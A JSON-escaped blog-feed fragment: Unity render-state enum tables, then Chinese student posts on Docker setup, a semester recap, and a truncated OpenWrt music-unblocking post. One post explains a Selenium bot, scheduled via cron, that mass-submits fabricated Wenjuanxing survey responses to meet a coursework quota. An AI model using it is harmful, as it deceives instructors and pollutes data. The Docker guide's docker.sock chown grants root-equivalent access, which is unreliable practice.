left;\"\u003eScreen\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e22\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eOverlay\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e23\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eDarken\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e24\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLighten\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e25\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eColorDodge\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e26\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eColorBurn\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e27\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eHardLight\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e28\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eSoftLight\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e29\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eDifference\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e30\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eExclusion\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e31\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eHSLHue\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e32\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eHSLSaturation\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e33\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eHSLColor\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e34\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eHSLLuminosity\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e35\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"CompareFunction\"\u003eCompareFunction\u003ca class=\"headerlink\" href=\"#CompareFunction\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: left;\"\u003eName\u003c/th\u003e\n\u003cth style=\"text-align: left;\"\u003eValue\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eDisabled\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e0\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eNever\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e1\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLess\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e2\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eEqual\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e3\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLessEqual\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e4\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eGreater\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e5\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eNotEqual\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e6\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eGreaterEqual\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e7\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eAlways\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e8\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"CullMode\"\u003eCullMode\u003ca class=\"headerlink\" href=\"#CullMode\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: left;\"\u003eName\u003c/th\u003e\n\u003cth style=\"text-align: left;\"\u003eValue\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eOff\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e0\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eFront\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e1\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eBack\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e2\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"ColorWriteMask\"\u003eColorWriteMask\u003ca class=\"headerlink\" href=\"#ColorWriteMask\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: left;\"\u003eName\u003c/th\u003e\n\u003cth style=\"text-align: left;\"\u003eValue (Flags)\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eAlpha\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e1\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eBlue\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e2\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eGreen\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e4\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eRed\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e8\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eAll\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e15\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"StencilOp\"\u003eStencilOp\u003ca class=\"headerlink\" href=\"#StencilOp\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: left;\"\u003eName\u003c/th\u003e\n\u003cth style=\"text-align: left;\"\u003eValue\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eKeep\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e0\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eZero\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e1\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eReplace\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e2\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eIncrementSaturate\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e3\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eDecrementSaturate\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e4\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eInvert\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e5\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eIncrementWrap\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e6\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eDecrementWrap\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e7\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/unity-render-state-props-ui/"}]},{"name":"王兰花椒粉的秘密小窝","email":"Unknown","uri":"http://wanglanhuajiaofen.fun","description":"","article":[{"title":"基于selenium的刷问卷星脚本","time":"2024-08-13T16:00:00Z","content":"\u003chr /\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"#前言\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cp\u003e西安电子科技大学大二下学期有一门课叫做思想政治理论实践课,这门课要求学生收集至少\u003cstrong\u003e800份\u003c/strong\u003e问卷星问卷(ノへ ̄、),诗人握持( ̄_, ̄ )\u003cbr\u003e本着之前学过一点selenium,并且发现问卷星问卷只不过是一个网页,并且问卷可以设置每个人可以填无数份,于是就想着用selenium写一个刷问卷星脚本。\u003c/p\u003e\n\u003ch2 id=\"注意\"\u003e\u003ca href=\"#注意\" class=\"headerlink\" title=\"注意\"\u003e\u003c/a\u003e注意\u003c/h2\u003e\u003cp\u003e该脚本只针对\u003cstrong\u003e只有多选\u003c/strong\u003e的问卷,如果有其他需求,请直接在github向我提issue\u003ca href=\"https://github.com/WangLanHuaJiaoFen/-selenium-/issues\"\u003e王兰花椒粉\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"环境要求\"\u003e\u003ca href=\"#环境要求\" class=\"headerlink\" title=\"环境要求\"\u003e\u003c/a\u003e环境要求\u003c/h2\u003e\u003cp\u003ePython 3.11.8\u003cbr\u003eurllib3 2.2.2\u003cbr\u003eselenium 4.23.1\u003cbr\u003epyinstaller 6.10.0\u003c/p\u003e\n\u003cp\u003e可以直接用pip\u0026#x2F;conda进行安装对应版本的包。\u003c/p\u003e\n\u003ch2 id=\"Get-Started\"\u003e\u003ca href=\"#Get-Started\" class=\"headerlink\" title=\"Get Started\"\u003e\u003c/a\u003eGet Started\u003c/h2\u003e\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WangLanHuaJiaoFen/-selenium-\"\u003e点击进入仓库\u003c/a\u003e获取代码,或者通过git进行克隆\u003c/li\u003e\n\u003cli\u003e获取你问卷的url:微信扫码打开你们的问卷,右上角三个点选择在浏览器打开,打开后复制问卷链接。\u003c/li\u003e\n\u003cli\u003e\u003cimg src=\"https://s2.loli.net/2024/08/14/zDcB7Zxl8OTIopQ.png\" alt=\"image.png\"\u003e\u003cbr\u003e在代码这一行的引号中写入你问卷的url\u003c/li\u003e\n\u003cli\u003e然后直接运行即可(如果没有谷歌的webdriver,可以在网上找个教程配一下,注意安装对应版本的chromedriver)。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"关于实现自动化运行\"\u003e\u003ca href=\"#关于实现自动化运行\" class=\"headerlink\" title=\"关于实现自动化运行\"\u003e\u003c/a\u003e关于实现自动化运行\u003c/h2\u003e\u003cp\u003e由于不理解问卷星反爬机制,网上的反爬教程也是老到掉毛了,所以这里只介绍一种实现自动化运行的方法。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ewindows\u003cul\u003e\n\u003cli\u003e安装pyinstaller,在命令行对应环境中输入\u003ccode\u003epip install pyinstaller\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e安装好后在代码文件夹中运行\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003epyinstaller -F -w 文件名.py\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e最后生成的可执行文件在dist文件夹中,直接运行即可。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003elinux\u003cul\u003e\n\u003cli\u003e基本步骤和windows一致,不过参数方面有些许不同,可自行查找资料。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"设置定时任务\"\u003e\u003ca href=\"#设置定时任务\" class=\"headerlink\" title=\"设置定时任务\"\u003e\u003c/a\u003e设置定时任务\u003c/h2\u003e\u003cul\u003e\n\u003cli\u003e\u003cp\u003ewindows\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ewin+r打开运行,输入\u003ccode\u003etaskschd.msc\u003c/code\u003e,回车。\u003c/li\u003e\n\u003cli\u003e\u003cimg src=\"https://s2.loli.net/2024/08/14/5wcWbZQHKjCizP6.png\" alt=\"image-1.png\"\u003e点击创建任务\u003c/li\u003e\n\u003cli\u003e\u003cimg src=\"https://s2.loli.net/2024/08/14/3iVdRICDuAfEy5n.png\" alt=\"image-2.png\"\u003e输入名称,选择最高权限运行\u003c/li\u003e\n\u003cli\u003e\u003cimg src=\"https://s2.loli.net/2024/08/14/TbSAux3lJakcFNW.png\" alt=\"image-3.png\"\u003e新建触发器\u003c/li\u003e\n\u003cli\u003e\u003cimg src=\"https://s2.loli.net/2024/08/14/FPaOYUieSnW4tAy.png\" alt=\"image-4.png\"\u003e按照图示勾选\u003c/li\u003e\n\u003cli\u003e\u003cimg src=\"https://s2.loli.net/2024/08/14/Wu4gsyP2xSKc6lh.png\" alt=\"image-5.png\"\u003e新建操作\u003c/li\u003e\n\u003cli\u003e\u003cimg src=\"https://s2.loli.net/2024/08/14/ENFnY6uOp3H7cM1.png\" alt=\"image-6.png\"\u003e在这里点击浏览,选择你生成的可执行文件\u003c/li\u003e\n\u003cli\u003e最后点击确定即可。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003elinux\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003elinux下设置定时任务比较简单,直接在命令行中输入\u003ccode\u003ecrontab -e\u003c/code\u003e,然后按照提示操作即可。\u003c/li\u003e\n\u003cli\u003e\u003cimg src=\"https://s2.loli.net/2024/08/14/hiCTEHDrcUmgFKJ.png\" alt=\"image-7.png\"\u003e这里给出我设置的定时任务,*\u0026#x2F;2表示每两分钟执行一次。\u0026#x2F;home\u0026#x2F;rongrong\u0026#x2F;PycharmProjects\u0026#x2F;pc_wjx\u0026#x2F;dist\u0026#x2F;p1c即为可执行文件的路径,p1c为我的可执行文件。后面的表示输入日志文件,可自行修改或者不写即可。\u003c/li\u003e\n\u003cli\u003e设置完后在终端输入\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003ecrontab -l \u003cspan class=\"hljs-comment\"\u003e# 查看定时任务列表\u003c/span\u003e\nsudo systemctl start cron \u003cspan class=\"hljs-comment\"\u003e# 开始执行定时任务\u003c/span\u003e\nsudo systemctl \u003cspan class=\"hljs-built_in\"\u003eenable\u003c/span\u003e cron \u003cspan class=\"hljs-comment\"\u003e# 设置开机自动启动定时任务\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"结语\"\u003e\u003ca href=\"#结语\" class=\"headerlink\" title=\"结语\"\u003e\u003c/a\u003e结语\u003c/h2\u003e\u003cp\u003e如果这篇文章对你有帮助,欢迎star\u0026#x2F;fork(๑•̀ㅂ•́)و✧\u003c/p\u003e\n\u003cp\u003e如果有其他需求或者发现bug,欢迎issue\u0026#x2F;prヽ(✿゚▽゚)ノ\u003c/p\u003e\n\u003cp\u003e如果懒得动手,你可以在issue中给我问卷url和联系方式,我把可执行文件直接发给你♪(^∇^*)\u003c/p\u003e","url":"http://wanglanhuajiaofen.fun/2024/08/14/wjx/"},{"title":"Ubuntu23.10 docker安装与配置","time":"2024-07-26T16:00:00Z","content":"\u003chr /\u003e\u003ch1 id=\"起始\"\u003e\u003ca href=\"#起始\" class=\"headerlink\" title=\"起始\"\u003e\u003c/a\u003e起始\u003c/h1\u003e\u003cp\u003e最近开始学docker了,感觉docker很厉害o( ̄▽ ̄)d可以很方便的部署各种环境。然鹅果不其然,配环境是一大问题┌(。Д。)┐\u003cbr\u003e这里就简单整理下Ubuntu23.10 安装与配置docker的过程叭✧(≖ ◡ ≖)\u003c/p\u003e\n\u003ch2 id=\"参考文档\"\u003e\u003ca href=\"#参考文档\" class=\"headerlink\" title=\"参考文档\"\u003e\u003c/a\u003e参考文档\u003c/h2\u003e\u003cp\u003e\u003ca href=\"https://docs.docker.com/engine/install/ubuntu/#install-using-the-repository\"\u003edocker官网\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://docker-practice.github.io/zh-cn/install/ubuntu.html\"\u003eDocker — 从入门到实践\u003c/a\u003e\u003c/p\u003e\n\u003cspan id=\"more\"\u003e\u003c/span\u003e\n\n\u003ch2 id=\"系统要求\"\u003e\u003ca href=\"#系统要求\" class=\"headerlink\" title=\"系统要求\"\u003e\u003c/a\u003e系统要求\u003c/h2\u003e\u003cp\u003edocker要求较新的ubuntu版本,建议选择20.04之后的LTS Ubuntu。\u003cbr\u003e我用的是Ubuntu23.10LTS。\u003c/p\u003e\n\u003ch2 id=\"卸载旧版本\"\u003e\u003ca href=\"#卸载旧版本\" class=\"headerlink\" title=\"卸载旧版本\"\u003e\u003c/a\u003e卸载旧版本\u003c/h2\u003e\u003cp\u003e无论是否存在旧版本都可以执行以下命令,以防万一。\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003esudo apt-get remove docker \\\n docker-engine \\\n docker.io\u003c/code\u003e\u003c/pre\u003e\n\u003ch2 id=\"前置步骤\"\u003e\u003ca href=\"#前置步骤\" class=\"headerlink\" title=\"前置步骤\"\u003e\u003c/a\u003e前置步骤\u003c/h2\u003e\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003esudo apt-get update \u003cspan class=\"hljs-comment\"\u003e# 更新可用软件包信息\u003c/span\u003e\nsudo apt-get install ca-certificates curl \u003cspan class=\"hljs-comment\"\u003e# 安装ca证书和curl\u003c/span\u003e\nsudo install -m 0755 -d /etc/apt/keyrings\ncurl -fsSL https://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker-archive-keyring.gpg \u003cspan class=\"hljs-comment\"\u003e# 添加软件源gpg密钥\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\u003ch2 id=\"ubuntu换国内源\"\u003e\u003ca href=\"#ubuntu换国内源\" class=\"headerlink\" title=\"ubuntu换国内源\"\u003e\u003c/a\u003eubuntu换国内源\u003c/h2\u003e\u003cp\u003e参考\u003ca href=\"https://mirrors.tuna.tsinghua.edu.cn/help/ubuntu/\"\u003e清华大学开源软件镜像站\u003c/a\u003e自行换源\u003c/p\u003e\n\u003ch2 id=\"使用apt安装docker\"\u003e\u003ca href=\"#使用apt安装docker\" class=\"headerlink\" title=\"使用apt安装docker\"\u003e\u003c/a\u003e使用apt安装docker\u003c/h2\u003e\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003e \u003cspan class=\"hljs-comment\"\u003e# 添加docker源\u003c/span\u003e\n \u003cspan class=\"hljs-built_in\"\u003eecho\u003c/span\u003e \\\n\u003cspan class=\"hljs-string\"\u003e\u0026quot;deb [arch=\u003cspan class=\"hljs-subst\"\u003e$(dpkg --print-architecture signed-by=/etc/apt/keyrings/docker-archive-keyring.gpg] https://mirrors.aliyun.com/docker-ce/linux/ubuntu \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\"hljs-subst\"\u003e\u003cspan class=\"hljs-string\"\u003e$(lsb_release -cs)\u003c/span\u003e stable\u0026quot;\u003c/span\u003e | sudo \u003cspan class=\"hljs-built_in\"\u003etee\u003c/span\u003e /etc/apt/sources.list.d/docker.list \u0026gt; /dev/null\u003c/code\u003e\u003c/pre\u003e\n\n\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003esudo apt-get update \u003cspan class=\"hljs-comment\"\u003e# 更新\u003c/span\u003e\nsudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin \u003cspan class=\"hljs-comment\"\u003e# 安装docker\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\u003ch2 id=\"启动docker\"\u003e\u003ca href=\"#启动docker\" class=\"headerlink\" title=\"启动docker\"\u003e\u003c/a\u003e启动docker\u003c/h2\u003e\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003esystemctl \u003cspan class=\"hljs-built_in\"\u003eenable\u003c/span\u003e docker \u003cspan class=\"hljs-comment\"\u003e# 开机启动\u003c/span\u003e\nsystemctl start docker \u003cspan class=\"hljs-comment\"\u003e# 启动docker\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\u003ch2 id=\"赋予用户权限\"\u003e\u003ca href=\"#赋予用户权限\" class=\"headerlink\" title=\"赋予用户权限\"\u003e\u003c/a\u003e赋予用户权限\u003c/h2\u003e\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003esudo \u003cspan class=\"hljs-built_in\"\u003echown\u003c/span\u003e (yourname) /var/run/docker.sock\u003c/code\u003e\u003c/pre\u003e\n\n\u003ch2 id=\"配置镜像加速\"\u003e\u003ca href=\"#配置镜像加速\" class=\"headerlink\" title=\"配置镜像加速\"\u003e\u003c/a\u003e配置镜像加速\u003c/h2\u003e\u003cp\u003e登录\u003ca href=\"https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors\"\u003e阿里云镜像加速\u003c/a\u003e根据文档进行设置镜像加速。\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003esudo \u003cspan class=\"hljs-built_in\"\u003emkdir\u003c/span\u003e -p /etc/docker\nsudo \u003cspan class=\"hljs-built_in\"\u003etee\u003c/span\u003e /etc/docker/daemon.json \u0026lt;\u0026lt;-\u003cspan class=\"hljs-string\"\u003e\u0026#x27;EOF\u0026#x27;\u003c/span\u003e\n\u0026#123;\n \u003cspan class=\"hljs-string\"\u003e\u0026quot;registry-mirrors\u0026quot;\u003c/span\u003e: [\u003cspan class=\"hljs-string\"\u003e\u0026quot;https://qt4gy4oh.mirror.aliyuncs.com\u0026quot;\u003c/span\u003e]\n\u0026#125;\nEOF\nsudo systemctl daemon-reload\nsudo systemctl restart docker\u003c/code\u003e\u003c/pre\u003e\n\n\u003ch2 id=\"测试docker是否安装成功\"\u003e\u003ca href=\"#测试docker是否安装成功\" class=\"headerlink\" title=\"测试docker是否安装成功\"\u003e\u003c/a\u003e测试docker是否安装成功\u003c/h2\u003e\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003edocker run --\u003cspan class=\"hljs-built_in\"\u003erm\u003c/span\u003e hello-world\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e如果拉取失败,参考\u003ca href=\"https://blog.csdn.net/macwinwin/article/details/113967667\"\u003eblog\u003c/a\u003e可以选择执行以下步骤:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e修改DNS\u003cpre\u003e\u003ccode class=\"hljs vim\"\u003e\u003cspan class=\"hljs-keyword\"\u003evim\u003c/span\u003e /etc/resolv.\u003cspan class=\"hljs-keyword\"\u003econf\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\nnameserver改为8.8.8.8\u003c/li\u003e\n\u003cli\u003e重新修改镜像仓库地址\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e若执行了上述步骤,再次执行\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003esudo systemctl daemon-reload\nsudo systemctl restart docker\ndocker run --\u003cspan class=\"hljs-built_in\"\u003erm\u003c/span\u003e hello-world\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这次应该就可以完美拉取了ヽ(✿゚▽゚)ノ\u003c/p\u003e\n\u003ch1 id=\"总结\"\u003e\u003ca href=\"#总结\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h1\u003e\u003cp\u003e真是一场酣畅淋漓的docker安装啊Σ(っ °Д °;)っ\u003c/p\u003e\n\u003cp\u003e由于桌面版比较简单,这里就不再赘述了(@_@;)\u003c/p\u003e","url":"http://wanglanhuajiaofen.fun/2024/07/27/docker/"},{"title":"大二下收官","time":"2024-07-05T16:00:00Z","content":"\u003chr /\u003e\u003ch2 id=\"大二下学期收官总结\"\u003e\u003ca href=\"#大二下学期收官总结\" class=\"headerlink\" title=\"大二下学期收官总结\"\u003e\u003c/a\u003e大二下学期收官总结\u003c/h2\u003e\u003cp\u003e\u003cstrong\u003e结束哩!!!!!\u003c/strong\u003e\u003cbr\u003e\u003cstrong\u003e✧(≖ ◡ ≖✿)我真是嗨到不行啊✧(≖ ◡ ≖✿)\u003c/strong\u003e\u003c/p\u003e\n\u003cspan id=\"more\"\u003e\u003c/span\u003e\n\n\u003ch3 id=\"结束\"\u003e\u003ca href=\"#结束\" class=\"headerlink\" title=\"结束\"\u003e\u003c/a\u003e结束\u003c/h3\u003e\u003cp\u003e 鼠鼠的大二下也是结束哩┗( T﹏T )┛。这学期里面也是学到了许多许多的东西,比如对计算机网络有了比较深入的了解,还收购了一个路由器,玩了玩openwrt(虽然不是自己刷的 ≡ ω ≡)。学习网络的过程非常有趣,也越发觉得自己对网络十分感兴趣,刚好也发现大三可以选一些网络方面的院选课,准备大三再深入学习一下ヾ( ̄▽ ̄)~\u003c/p\u003e\n\u003ch3 id=\"科研\"\u003e\u003ca href=\"#科研\" class=\"headerlink\" title=\"科研\"\u003e\u003c/a\u003e科研\u003c/h3\u003e\u003cp\u003e 此外在科研上也是在学长的教导下,学会了如何做实验,也认识到了其实科研写代码不是那么复杂,pytorch的框架可以学,但是真正要让自己用pytorch手搓一个什么出来也是不可能的,基本都是用别人已经写好的东西就好了,所以还是要多看看别人的代码✧(≖ ◡ ≖✿)\u003c/p\u003e\n\u003ch3 id=\"前端\"\u003e\u003ca href=\"#前端\" class=\"headerlink\" title=\"前端\"\u003e\u003c/a\u003e前端\u003c/h3\u003e\u003cp\u003e 此外捏,也是学习了一些前端的知识。前端三板斧学了html,css,js还没学完,不过这些是上半学期学的,现在感觉都忘记的差不多了ヽ(*。\u0026gt;Д假期里面再看看吧,不过前端还是蛮有趣的(○` 3′○)\u003c/p\u003e\n\u003ch3 id=\"计划\"\u003e\u003ca href=\"#计划\" class=\"headerlink\" title=\"计划\"\u003e\u003c/a\u003e计划\u003c/h3\u003e\u003cp\u003e 本来这学期的计划是学完前端三剑客,再学个docker,还有时间的话学个rust或者flutter,结果被该死的期末考试拖了太久太久,好在最后的成绩也是还行啊( ̄▽ ̄),最起码也还看得过去ヽ(✿゚▽゚)ノ总之呢,兴趣推动学习确实是很不错捏。如果想要像别人那样厉害的话,那就多学点东西叭o(一︿一+)o\u003c/p\u003e\n\u003ch3 id=\"展望\"\u003e\u003ca href=\"#展望\" class=\"headerlink\" title=\"展望\"\u003e\u003c/a\u003e展望\u003c/h3\u003e\u003cp\u003e 希望自己可以在大三的时候,能够做出一些自己想要的东西,或者多学到一点喜欢的技术,毕竟自己还是个菜鸟( ̄▽ ̄)\u003c/p\u003e","url":"http://wanglanhuajiaofen.fun/2024/07/06/%E5%A4%A7%E4%BA%8C/"},{"title":"Openwrt UnblockNeteaseMusic使用记录","time":"2024-05-02T16:00:00Z","content":"\u003chr /\u003e\u003ch1 id=\"起始\"\u003e\u003ca href=\"#起始\" class=\"headerlink\" title=\"起始\"\u003e\u003c/a\u003e起始\u003c/h1\u003e\u003cp\u003e最近搞了一个路由器,360t7,从咸鱼上收的二手,已经刷了openwrt系统(本来还想自己刷的(っ*´Д\u0026#96;)っ雾),然后今天就在搞各种路由器软件包,找到了luci-unblockneteasemusic后我十分心动,便开始着手配置,结果遇到各种问题,故记下此篇博客(~ ̄(OO) ̄)ブ\u003c/p\u003e\n\u003ch2 id=\"Openwrt-UnblockNeteaseMusic-使用记录\"\u003e\u003ca href=\"#Openwrt-UnblockNeteaseMusic-使用记录\" class=\"headerlink\" title=\"Openwrt UnblockNeteaseMusic 使用记录\"\u003e\u003c/a\u003eOpenwrt UnblockNeteaseMusic 